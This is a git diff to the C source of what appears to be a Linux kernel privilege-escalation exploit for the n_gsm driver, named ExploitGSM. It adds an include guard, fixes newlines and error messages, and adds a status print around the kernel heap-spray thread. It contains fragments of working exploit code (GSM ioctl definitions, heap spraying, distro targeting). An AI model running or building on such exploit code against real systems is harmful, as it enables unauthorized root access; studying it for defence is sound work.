diff --git a/ExploitGSM_6_5/main.c b/ExploitGSM_6_5/main.c index 9e01fb9..831cc3a 100644 --- a/ExploitGSM_6_5/main.c +++ b/ExploitGSM_6_5/main.c @@ -50,6 +50,7 @@ #define HEAP_SPRAY_SIZE 1024 #define BITS_PER_LONG 64 +#ifndef GSMIOC_SETCONF_EXT struct gsm_dlci_config { __u32 channel; /* DLCI (0 for the associated DLCI) */ __u32 adaption; /* Convergence layer type */ @@ -62,6 +63,7 @@ struct gsm_dlci_config { #define GSMIOC_GETCONF_DLCI _IOWR('G', 7, struct gsm_dlci_config) #define GSMIOC_SETCONF_DLCI _IOW('G', 8, struct gsm_dlci_config) +#endif const unsigned char CMD_CLD = 0x61; const unsigned char CMD_TEST = 0x11; @@ -517,7 +519,7 @@ int main(int argc, char *argv[]) { if (argc < 1 || argv[1] == 0) { - fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora"); + fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora\n"); goto error_arg; } @@ -1018,14 +1020,15 @@ int main(int argc, char *argv[]) { retval = pthread_create(&tid_spray, &tattr_alloc_dlci, thread_spray_kheap, &arg_spray); if (retval != 0) { - fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval)); + fprintf(stderr, "Error create spray thread, %s \n", strerror(retval)); goto error_create_spray; } + printf("waiting spray thread \n"); retval = pthread_join(tid_spray, NULL); if (retval != 0) { - fprintf(stderr, "Error thread join to spray thread %s \n", strerror(retval)); + fprintf(stderr, "Error join to spray thread %s \n", strerror(retval)); goto error_spray; }